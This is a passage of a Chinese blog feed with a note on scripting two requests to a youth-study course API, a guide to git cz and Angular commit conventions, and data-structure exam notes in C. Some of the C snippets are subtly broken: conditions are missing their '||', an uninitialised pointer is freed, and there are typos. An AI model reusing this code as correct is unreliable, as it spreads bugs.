href="#0x03发送请求" class="headerlink" title="0x03发送请求"></a>0x03发送请求</h2><p>我们只要发送两个请求,一个是江苏省青年大学习的接口,还有一个是<strong>确认课程</strong>的接口。</p><p>江苏省青年大学习的接口是用于获取课程信息的,里面能解析到下一个接口所需的_token和lesson_id字段</p><p>然后就是发post请求啦</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242320313.png"></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> HTTP </tag>
<tag> 青年大学习 </tag>
</tags>
</entry>
<entry>
<title>git cz和合乎Angular规范的git commit message</title>
<link href="/2022/02/13/git-cz%E5%92%8C%E5%90%88%E4%B9%8Eangular%E8%A7%84%E8%8C%83%E7%9A%84git-commit-message/"/>
<url>/2022/02/13/git-cz%E5%92%8C%E5%90%88%E4%B9%8Eangular%E8%A7%84%E8%8C%83%E7%9A%84git-commit-message/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242334513.jpg"></p><h2 id="配置git-cz"><a href="#配置git-cz" class="headerlink" title="配置git cz"></a>配置git cz</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g commitizen</span><br></pre></td></tr></table></figure><h2 id="使用git-cz"><a href="#使用git-cz" class="headerlink" title="使用git cz"></a>使用git cz</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">git cz</span><br><span class="line"></span><br><span class="line">[email protected], [email protected]</span><br><span class="line"></span><br><span class="line">#指定commit的类型,约定了feat、fix两个主要type,以及docs、style、build、refactor、revert五个特殊type</span><br><span class="line">? **Select the type of change that you're committing:** fix: A bug fix</span><br><span class="line"></span><br><span class="line">#用于描述改动的范围,格式为项目名/模块名</span><br><span class="line">? **What is the scope of this change (e.g. component or file name): (press enter t**</span><br><span class="line">**o skip)** index.html</span><br><span class="line"></span><br><span class="line">#对改动进行简短的描述</span><br><span class="line">? **Write a short, imperative tense description of the change (max 83 chars):**</span><br><span class="line"> (11) add a blank</span><br><span class="line"></span><br><span class="line">#对改动进行长的描述</span><br><span class="line">? **Provide a longer description of the change: (press enter to skip)**</span><br><span class="line"></span><br><span class="line">#是破坏性的改动吗</span><br><span class="line">? **Are there any breaking changes?** No</span><br><span class="line"></span><br><span class="line">#影响了哪个issue吗,如果选是,接下来要输入issue号</span><br><span class="line">? **Does this change affect any open issues?** No</span><br></pre></td></tr></table></figure><h2 id="Angular规范"><a href="#Angular规范" class="headerlink" title="Angular规范"></a>Angular规范</h2><h3 id="Header"><a href="#Header" class="headerlink" title="Header"></a>Header</h3><h4 id="(1)type"><a href="#(1)type" class="headerlink" title="(1)type"></a><strong>(1)type</strong></h4><p><code>type</code> 用于说明 commit 的类别,只允许使用下面 7 个标识。</p><ul><li>feat:新功能(feature)</li><li>fix:修补 bug</li><li>docs:文档(documentation)</li><li>style: 格式(不影响代码运行的变动)</li><li>refactor:重构(即不是新增功能,也不是修改 bug 的代码变动)</li><li>test:增加测试</li><li>chore:构建过程或辅助工具的变动</li></ul><p>如果 <code>type</code> 为 <code>feat</code> 和 <code>fix</code>,则该 commit 将肯定出现在 Change log 之中。其他情况(<code>docs</code>、<code>chore</code>、<code>style</code>、<code>refactor</code>、<code>test</code>)由你决定,要不要放入 Change log,建议是不要。</p><h4 id="(2)scope"><a href="#(2)scope" class="headerlink" title="(2)scope"></a><strong>(2)scope</strong></h4><p><code>scope</code> 用于说明 commit 影响的范围,比如数据层、控制层、视图层等等,视项目不同而不同。</p><h4 id="(3)subject"><a href="#(3)subject" class="headerlink" title="(3)subject"></a><strong>(3)subject</strong></h4><p><code>subject</code> 是 commit 目的的简短描述,不超过 50 个字符。</p><ul><li>以动词开头,使用第一人称现在时,比如 <code>change</code>,而不是 <code>changed</code> 或 <code>changes</code></li><li>第一个字母小写</li><li>结尾不加句号(<code>.</code>)</li></ul><h3 id="Body"><a href="#Body" class="headerlink" title="Body"></a>Body</h3><p>有两个注意点。</p><p>(1)使用第一人称现在时,比如使用 <code>change</code> 而不是 <code>changed</code> 或 <code>changes</code>。</p><p>(2)应该说明代码变动的动机,以及与以前行为的对比。</p><h3 id="Footer"><a href="#Footer" class="headerlink" title="Footer"></a>Footer</h3><p>Footer 部分只用于两种情况。</p><h4 id="(1)不兼容变动"><a href="#(1)不兼容变动" class="headerlink" title="(1)不兼容变动"></a><strong>(1)不兼容变动</strong></h4><p>如果当前代码与上一个版本不兼容,则 Footer 部分以 <code>BREAKING CHANGE</code> 开头,后面是对变动的描述、以及变动理由和迁移方法。</p><h4 id="(2)关闭-Issue"><a href="#(2)关闭-Issue" class="headerlink" title="(2)关闭 Issue"></a><strong>(2)关闭 Issue</strong></h4><p>如果当前 commit 针对某个 issue,那么可以在 Footer 部分关闭这个 issue 。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Closes #234</span><br></pre></td></tr></table></figure><p>也可以一次关闭多个 issue 。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Closes #123, #245, #992</span><br></pre></td></tr></table></figure><h3 id="Revert"><a href="#Revert" class="headerlink" title="Revert"></a>Revert</h3><p>还有一种特殊情况,如果当前 commit 用于撤销以前的 commit,则必须以 <code>revert:</code> 开头,后面跟着被撤销 Commit 的 Header。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">revert: feat(pencil): add 'graphiteWidth' option</span><br><span class="line"></span><br><span class="line">This reverts commit 667ecc1654a317a13331b17617d973392f415f02.</span><br></pre></td></tr></table></figure><p>Body 部分的格式是固定的,必须写成 <code>This reverts commit <hash>.</code>,其中的 <code>hash</code> 是被撤销 commit 的 SHA 标识符。</p><p>如果当前 commit 与被撤销的 commit,在同一个发布(release)里面,那么它们都不会出现在 Change log 里面。如果两者在不同的发布,那么当前 commit,会出现在 Change log 的 <code>Reverts</code> 小标题下面。</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> Angular </tag>
<tag> git </tag>
</tags>
</entry>
<entry>
<title>《数据结构》速通指南</title>
<link href="/2022/01/19/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E9%80%9F%E9%80%9A%E6%8C%87%E5%8D%97/"/>
<url>/2022/01/19/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E9%80%9F%E9%80%9A%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/47e40fdca144ad3462e305e3dea20cf430ad85bb.jpg"></p><h2 id="感受"><a href="#感受" class="headerlink" title="感受"></a>感受</h2><p>考试感觉有手就行,20分钟写完,结果就96,乐</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242304547.png"></p><h2 id="绪论"><a href="#绪论" class="headerlink" title="绪论"></a>绪论</h2><h3 id="逻辑结构"><a href="#逻辑结构" class="headerlink" title="逻辑结构"></a>逻辑结构</h3><p>1. 线性结构 1:1<br>2. 树形结构 1:n<br>3. 图结构 m:n<br>4. 集合结构 没啥关系</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-50.png"></p><p>分成两类:线性数据结构与非线性数据结构(废话)</p><h3 id="存储结构"><a href="#存储结构" class="headerlink" title="存储结构"></a>存储结构</h3><p>1. 顺序存储结构 依次存储<br>2. 链式存储结构 连续的或不连续的存储空间</p><h3 id="算法时间复杂度"><a href="#算法时间复杂度" class="headerlink" title="算法时间复杂度"></a>算法时间复杂度</h3><p>$$O\left(1\right)<O\left(\log_2n\right)<O\left(n\right)<O\left(n\log_2n\right)<O\left(n^2\right)<O\left(n^3\right)<O\left(n!\right)<O\left(n^n\right)$$</p><p>例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">do{</span><br><span class="line">...</span><br><span class="line">i=k*i;</span><br><span class="line">}while(i<=n)</span><br></pre></td></tr></table></figure><p>时间复杂度:$O\left(\log_kn\right)$</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">while(n>=f(y))</span><br><span class="line">{</span><br><span class="line">...</span><br><span class="line">y++;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>时间复杂度:$O\left(f^{-1}\left(n\right)\right)$</p><h2 id="线性表"><a href="#线性表" class="headerlink" title="线性表"></a>线性表</h2><h3 id="顺序存储结构"><a href="#顺序存储结构" class="headerlink" title="顺序存储结构"></a>顺序存储结构</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">typedef struct seqList</span><br><span class="line">{</span><br><span class="line">int n; // 元素个数</span><br><span class="line">int maxLength; // 最大长度</span><br><span class="line">ElemType *element; // 数组头指针</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="http://192.168.1.35/wp-content/uploads/2022/01/%E9%A1%BA%E5%BA%8F%E5%AD%98%E5%82%A8%E7%BB%93%E6%9E%84.png"></p><p>插入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Status Insert(SeqList *L, int i, ElemType x) //L:线性表 i:待插入下标 x:待插入元素</span><br><span class="line">{</span><br><span class="line"> int j;</span><br><span class="line"> if(i < -1 i > L->n-1) //下标i越界</span><br><span class="line"> return ERROR;</span><br><span class="line"> if(L->n == L->maxLength) //顺序表存储空间已满</span><br><span class="line"> return ERROR;</span><br><span class="line"> for(j = L->n-1 ; j>i ;j--)</span><br><span class="line"> L->element[j+1] = L->element[j]; //从后往前逐个后移</span><br><span class="line"> L->element[i+1] = x; //新元素插入</span><br><span class="line"> L->n++; //元素个数+1</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>时间复杂度:$ O\left(n\right) $</p><p>删除</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Status Delete(SeqList *L, int i) //L:线性表 i:待删除下标</span><br><span class="line">{</span><br><span class="line"> int j;</span><br><span class="line"> if(i < -1 i > L->n-1) //下标i越界</span><br><span class="line"> return ERROR;</span><br><span class="line"> if(!L->n) //顺序表为空</span><br><span class="line"> return ERROR;</span><br><span class="line"> for(j=i+1 ; j < L->n ;j++) </span><br><span class="line"> L->element[j-1] = L->element[j]; //从前往后逐个前移</span><br><span class="line"> L->n--; //元素个数-1</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>时间复杂度:$ O\left(n\right) $</p><p>查找</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Status Find(SeqList L,int i,Element *x)</span><br><span class="line">{</span><br><span class="line"> if(i<0 i > L.n-1)</span><br><span class="line"> return ERROR;</span><br><span class="line"> *x = L.element[i];</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>时间复杂度:$ O\left(1\right) $</p><h3 id="单链表"><a href="#单链表" class="headerlink" title="单链表"></a>单链表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">typedef struct node</span><br><span class="line">{</span><br><span class="line">ElemType element ; //结点的数据域</span><br><span class="line">struct node *link;//结点的指针域</span><br><span class="line">}Node;</span><br><span class="line">typedef struct singleList</span><br><span class="line">{</span><br><span class="line">struct node *first; // 表头结点</span><br><span class="line">int n; // 元素个数</span><br><span class="line">}SingleList;</span><br></pre></td></tr></table></figure><p><img src="http://192.168.1.35/wp-content/uploads/2022/01/%E9%93%BE%E5%BC%8F%E5%AD%98%E5%82%A8%E7%BB%93%E6%9E%84.png"></p><p>插入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">Status Insert(SingleList *L, int i, ElemType x) //L:线性表地址 i:插入下标 x:插入值</span><br><span class="line">{</span><br><span class="line"> Node *p, *q;</span><br><span class="line"> int j;</span><br><span class="line"> if(i<-1 i > L->n-1) // i越界</span><br><span class="line"> return ERROR;</span><br><span class="line"> p = L->first; </span><br><span class="line"> for(j=0 ; j<i ;j++) //p从头结点开始遍历</span><br><span class="line"> p = p->link;</span><br><span class="line"> q = malloc(sizeof(Node)); //给待插入结点申请空间</span><br><span class="line"> q->element = x; // 待插入结点数据域赋值</span><br><span class="line"> </span><br><span class="line"> if(i>0) // 插入位置不是头结点</span><br><span class="line"> {</span><br><span class="line"> q->link = p->link; // q指针指向p下一个结点</span><br><span class="line"> p->link = q; // p结点指针指向q</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> else</span><br><span class="line"> {</span><br><span class="line"> q->link = L->first; // q指针指向原头结点</span><br><span class="line"> L->first = q; // L头结点变为q</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> L->n++; // 表长++</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>删除</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">Status Delete(SingleList *L, int i) //L:线性表地址 i:待删除下标</span><br><span class="line">{</span><br><span class="line"> Node *p,*q;</span><br><span class="line"> int j;</span><br><span class="line"> if(i<0 i > L->n-1) // i越界</span><br><span class="line"> return ERROR;</span><br><span class="line"> if(!L->n) // 链式表为空</span><br><span class="line"> return ERROR;</span><br><span class="line"> p = L->first;</span><br><span class="line"> for(j=0 ; j < i - 1 ; j++) //p 遍历到待删除位置</span><br><span class="line"> p = p->link;</span><br><span class="line"> </span><br><span class="line"> if(i==0) // 删除的是头结点</span><br><span class="line"> L->first = L->first->link; //L头结点为原头结点指针指向的结点</span><br><span class="line"> else //正常的结点</span><br><span class="line"> {</span><br><span class="line"> q = p->link; //q为p所指向的结点</span><br><span class="line"> p->link = q->link; // p指针指向结点为q指针指向的结点</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> free(q); // 释放被删除q的空间</span><br><span class="line"> L->n--; // L元素个数-1</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>查找</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Status Find(SingleList L, int i, Elemtype *x)</span><br><span class="line">{</span><br><span class="line"> Node *p;</span><br><span class="line"> int j;</span><br><span class="line"> if(i<0 i>L.n-1) // i越界</span><br><span class="line"> return ERROR;</span><br><span class="line"> p = L.first;</span><br><span class="line"> for(j=0 ; j<i ;j++) // p从头遍历</span><br><span class="line"> p = p->link;</span><br><span class="line"> *x = p->element; // x赋值</span><br><span class="line"> return OK;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="带表头单链表"><a href="#带表头单链表" class="headerlink" title="带表头单链表"></a>带表头单链表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">typedef struct headerList</span><br><span class="line">{</span><br><span class="line"> struct Node *head; //定义表头</span><br><span class="line"> int n; //元素个数</span><br><span class="line">}HeaderList;</span><br></pre></td></tr></table></figure><p>初始化</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">void Init(HeaderList *L){</span><br><span class="line"> L->head=(Node*)malloc(sizeof(Node));</span><br><span class="line"> L->head->link=NULL;</span><br><span class="line"> L->n=0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="(单)循环链表"><a href="#(单)循环链表" class="headerlink" title="(单)循环链表"></a>(单)循环链表</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242305682.png"></p><p>也可以带表头</p><h3 id="双向链表"><a href="#双向链表" class="headerlink" title="双向链表"></a>双向链表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">typedef struct Node</span><br><span class="line">{</span><br><span class="line"> ElemType element; // 数据域</span><br><span class="line"> struct Node *llink; //左指针域</span><br><span class="line"> struct Node *rlink; //右指针域</span><br><span class="line">}DuNode,DuList;</span><br></pre></td></tr></table></figure><p><img src="http://192.168.1.35/wp-content/uploads/2022/02/%E5%9B%BE%E7%89%87-1.png"></p><p>插入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">q->llink = p->llink; // q左指针指向p左指针指向的结点</span><br><span class="line">q->rlink = p; // q右指针指向p结点</span><br><span class="line">p->llink->rlink = q; // p左指针指向的结点(即p原左结点)右指针指向q结点</span><br><span class="line">p->llink = q; // p左指针指向q</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/20200822050054244.gif#pic_center" alt="双向链表插入"></p><p>删除</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">p->llink->rlink = p->rlink; // p的左结点直接指向p的右结点</span><br><span class="line">p->rlink->llink = p->llink; // p的右结点直接指向p的左结点</span><br><span class="line">free(p); // 释放p</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/20200822050054393.gif#pic_center" alt="双向链表删除"></p><h3 id="线性表优劣比较"><a href="#线性表优劣比较" class="headerlink" title="线性表优劣比较"></a>线性表优劣比较</h3><p>顺序表</p><p>单链表</p><p>带表头的链表</p><p>循环链表</p><p>双向链表</p><p>优</p><p>查找速度$$O(1)$$</p><p>确定位置后,增删速度$$O(1)$$ 不需要估计存储长度</p><p>方便插入和删除操作的实现</p><p>从表中任意结点出发都能扫描整个链表</p><p>可快速访问直接前驱</p><p>劣</p><p>增删速度$$O(n)$$ 需要先估计存储空间</p><p>查找速度$$O(n)$$ 增删中头结点需要单独考虑</p><h2 id="栈堆和队列"><a href="#栈堆和队列" class="headerlink" title="栈堆和队列"></a>栈堆和队列</h2><h3 id="栈堆"><a href="#栈堆" class="headerlink" title="栈堆"></a>栈堆</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242305945.png"></p><p>共有$$f(n)=\dfrac{C^n_{2n}}{n+1}$$种出栈顺序</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">//定义</span><br><span class="line">typedef struct stack</span><br><span class="line">{</span><br><span class="line"> int top; // 栈顶位置下标,空栈为-1</span><br><span class="line"> int maxSize; // 栈最大容量</span><br><span class="line"> ElemType *element; //栈数组首地址</span><br><span class="line">}</span><br><span class="line">//创建</span><br><span class="line">void Create(Stack *S, int mSize) //S:栈地址 mSize:最大容量</span><br><span class="line">{</span><br><span class="line">S->maxSize = mSize; //获取最大容量</span><br><span class="line">S->element = (ElemType*)malloc(sizeof(ElemType)*mSize); //给栈申请空间</span><br><span class="line">S->top=-1; //栈顶为负</span><br><span class="line">}</span><br><span class="line">//销毁</span><br><span class="line">void Destroy(Stack *S)</span><br><span class="line">{</span><br><span class="line"> S->maxSize = -1; //容量为负</span><br><span class="line"> free(S->element); //释放栈数组</span><br><span class="line"> S->top = -1; //栈顶为负</span><br><span class="line">}</span><br><span class="line">//销毁不释放</span><br><span class="line">void Clear(Stack *S)</span><br><span class="line">{</span><br><span class="line"> S->top = -1; //仅仅将栈顶归负</span><br><span class="line">}</span><br><span class="line">//取栈顶元素</span><br><span class="line">BOOL Top(Stack *S, ElemType *x)</span><br><span class="line">{</span><br><span class="line"> if(IsEmpty(S)) //空栈</span><br><span class="line"> return ERROR;</span><br><span class="line"> *x = S->element[S->top]; //取栈顶</span><br><span class="line"> return TRUE;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">- 满栈——S->top == S->maxSize-1</span><br><span class="line">- 空栈——S->top == -1</span><br><span class="line"></span><br><span class="line">//入</span><br><span class="line">BOOL Push(Stack *S, ElemType x)</span><br><span class="line">{</span><br><span class="line"> if(IsFull(S)) // 溢出</span><br><span class="line"> return FALSE;</span><br><span class="line"> S->top++; //栈顶上移</span><br><span class="line"> S->element[S->top] = x; //栈顶取值</span><br><span class="line"> return TRUE;</span><br><span class="line">}</span><br><span class="line">//出</span><br><span class="line">BOOL Pop(Stack *S)</span><br><span class="line">{</span><br><span class="line"> if(IsEmpty(S)) //空栈</span><br><span class="line"> return TRUE;</span><br><span class="line"> S->top--; //栈顶下移</span><br><span class="line"> return TRUE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="队列"><a href="#队列" class="headerlink" title="队列"></a>队列</h3><p>注意:教材给的a0没有数据,front所在为空,所以实际存储量maxsize-1</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242306641.png"></p><ul><li>空队列——<code>front == rear</code></li><li>满队列——<code>(rear+1) % maxSize == font</code></li><li>队尾进1(入队)——<code>rear = (rear+1) % maxSize</code></li><li>队头进1(出队)——<code>front = (front+1) % maxSize</code></li></ul><p>会假溢出,所以还是用循环队列</p><h3 id="循环队列"><a href="#循环队列" class="headerlink" title="循环队列"></a>循环队列</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242306355.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">//定义</span><br><span class="line">typedef struct queue</span><br><span class="line">{</span><br><span class="line"> int front; //队头位置</span><br><span class="line"> int rear; //队尾位置</span><br><span class="line"> int maxSize; //队列容量</span><br><span class="line"> ElemType *element; // 队列数组首地址</span><br><span class="line">}Queue;</span><br><span class="line">//创建</span><br><span class="line">void Create(Queue *Q, int mSize) //Q:队列首地址 mSize:最大容量</span><br><span class="line">{</span><br><span class="line"> Q->maxSize = mSize; // 最大容量赋值</span><br><span class="line"> Q->element = (ElemType*)malloc(sizeof(ElemType)*mSize); // 为队列数组申请空间</span><br><span class="line"> Q->front = Q->rear = 0; // 队头队尾归零</span><br><span class="line">}</span><br><span class="line">//销毁</span><br><span class="line">void Destroy(Queue *Q)</span><br><span class="line">{</span><br><span class="line"> free(Q->element); //释放数组空间</span><br><span class="line"> Q->maxSizw = -1; //最大容积归负</span><br><span class="line"> Q->front = Q->rear = -1; //队头队尾归负</span><br><span class="line">}</span><br><span class="line">//销毁不释放</span><br><span class="line">void Clear(Queue *Q)</span><br><span class="line">{</span><br><span class="line"> Q->front = Q->rear = 0; // 队头队尾归零</span><br><span class="line">}</span><br><span class="line">//获取队头</span><br><span class="line">BOOL Front(Queue *Q, ElemType *x)</span><br><span class="line">{</span><br><span class="line"> if(IsEmpty(Q)) // 空队列</span><br><span class="line"> return FALSE;</span><br><span class="line"> *x = Q->element[(Q->front+1) % Q->maxSize]; // 取队头元素</span><br><span class="line"> return TRUE;</span><br><span class="line">}</span><br><span class="line">//入</span><br><span class="line">BOOL EnQueue(Queue *Q, ElemType x)</span><br><span class="line">{</span><br><span class="line"> if(IsFull(Q)) // 溢出</span><br><span class="line"> return FALSE;</span><br><span class="line"> Q->rear = (Q->rear+1) % Q->maxSize; // 队尾进1</span><br><span class="line"> Q->element[Q->rear] = x; // 队尾赋值</span><br><span class="line"> return TRUE;</span><br><span class="line">}</span><br><span class="line">//出</span><br><span class="line">BOOL DeQueue(Queue *Q)</span><br><span class="line">{</span><br><span class="line"> if(IsEmpty(Q)) // 空队列</span><br><span class="line"> return FALSE;</span><br><span class="line"> Q->front = (Q->front+1) % Q->maxSize; //队头进1</span><br><span class="line"> return TRUE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="链式队列"><a href="#链式队列" class="headerlink" title="链式队列"></a>链式队列</h3><p>教材未作重点,但是了解一下</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202212242306188.png"></p><figure class="highlight 